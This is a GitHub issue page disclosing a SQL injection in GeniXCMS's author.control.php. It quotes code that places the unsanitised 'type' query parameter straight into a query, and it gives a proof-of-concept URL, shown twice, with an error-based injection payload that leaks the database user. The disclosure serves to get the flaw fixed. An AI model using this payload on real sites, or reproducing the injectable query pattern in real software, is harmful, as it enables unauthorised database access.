Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
author.control.php
https://github.com/semplon/GeniXCMS/blob/master/inc/lib/Control/Frontend/author.control.php#L39-L43
$type = isset($_GET['type']) ? $_GET['type']: ''; if ($type != '') { $where = " AND `type` = '{$type}' "; } $data['posts'] = Db::result( sprintf( "SELECT * FROM `posts` WHERE `author` = '%s' %s AND `status` = '1' ORDER BY `date` DESC LIMIT %d, %d", $author, $where, $offset, $data['max'] ) );
http://localhost/GeniXCMS/?author=user1&type=hi%27%20OR%20(SELECT%201431%20FROM(SELECT%20COUNT(*),CONCAT((MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,54)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20bPMf
The text was updated successfully, but these errors were encountered:
Security Fix #61 #62 #63 #65 #66 #67
abfbb61
semplon
No branches or pull requests
Source
https://github.com/semplon/GeniXCMS/blob/master/inc/lib/Control/Frontend/author.control.php#L39-L43
PoC
http://localhost/GeniXCMS/?author=user1&type=hi%27%20OR%20(SELECT%201431%20FROM(SELECT%20COUNT(*),CONCAT((MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,54)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20bPMfThe text was updated successfully, but these errors were encountered: